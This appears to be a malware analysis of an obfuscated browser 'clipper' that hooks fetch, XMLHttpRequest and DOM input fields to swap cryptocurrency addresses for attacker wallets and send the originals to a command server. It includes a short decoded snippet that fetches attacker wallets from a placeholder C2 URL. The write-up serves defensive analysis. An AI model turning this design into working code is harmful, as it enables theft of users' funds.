Analysis: Cryptocurrency Address Hijacker (Man-in-the-Browser Clipper)

This is a supply-chain cryptocurrency stealing payload — a "clipper" or "address swapper" that silently redirects crypto transactions to attacker-controlled wallets.

Core Architecture

The payload has four layers:

1. String Obfuscation Engine The bulk of the code is a multi-layered string decoding system (oFmFNH, iVp0dU7, byZJpo, fLOUxWf, etc.) using base91-like encoding with shuffled alphabets. Every meaningful string is encoded to evade static analysis.

2. Network Hooking Framework A sophisticated interception library (exported as DgmuPX) that:

• Replaces globalThis.fetch with a proxy (wlpPd2t()) that intercepts all request/response pairs
• Patches XMLHttpRequest.prototype.open/send/setRequestHeader (SLkiCz()) to intercept XHR traffic
• Uses a MutationObserver-based DOM watcher (classes wPwwVol and QA903T) to monitor input fields in real-time
• Maintains an interceptor registry (IGCqOp) with request and response callback hooks

3. C2 Communication & Address Fetching

// Decoded logic of p58Xob():
async function p58Xob() {
    const resp = await fetch("<C2_URL>", { method: "GET", headers: {...} });
    const data = await resp.json();
    // Stores attacker wallet addresses keyed by crypto type:
    window.__addresses__ = {
        eth:     data.e.id,   // Ethereum
        btc:     data.b.id,   // Bitcoin
        sol:     data.s.id,   // Solana
        xmr:     data.x.id,   // Monero/XRP
        ripple:  data.r.id    // Ripple
    };
}

4. Address Replacement + Exfiltration

The operational payload registers five regex-based interceptors, one per cryptocurrency format. Each one:

• Matches addresses in fetch/XHR response bodies and replaces them with the attacker's wallet
• Monitors DOM input fields via MutationObserver and swaps values on change events
• Exfiltrates the original address, page URL, and timestamp to the C2 server via XOR-encrypted POST

┌─────────────┐     ┌──────────────┐     ┌───────────────┐
│ User pastes │────▶│ Regex match  │────▶│ Replace with  │
│ BTC address │     │ (BTC format) │     │ attacker addr │
└─────────────┘     └──────┬───────┘     └───────────────┘
                           │
                    ┌──────▼───────┐
                    │ XOR-encrypt  │
                    │ & exfiltrate │
                    │ original addr│
                    └──────────────┘

What Makes It Dangerous

• Transparent to the user — the replacement happens in network responses and DOM fields, so the displayed address already appears "correct"
• Covers multiple layers — fetch, XHR, and direct DOM mutation ensure no transaction flow is missed
• Dynamic C2 — attacker wallets are fetched at runtime, making them rotatable and harder to blocklist
• Dead code camouflage — LRU caches, linked-list helpers, anagram checkers, SHA-256 implementations, and tree-balancing functions are injected as inert noise to bloat analysis

Summary

Aspect	Detail
Type	Crypto clipper / address swapper
Targets	BTC, ETH, SOL, XMR/XRP addresses
Hooks	fetch, XMLHttpRequest, DOM MutationObserver
C2	Fetches attacker wallets dynamically, exfils stolen addresses
Evasion	Heavy string obfuscation, dead-code injection, runtime-only string resolution

This would typically be delivered via a compromised browser extension, NPM package, or injected script on a cryptocurrency exchange/wallet site.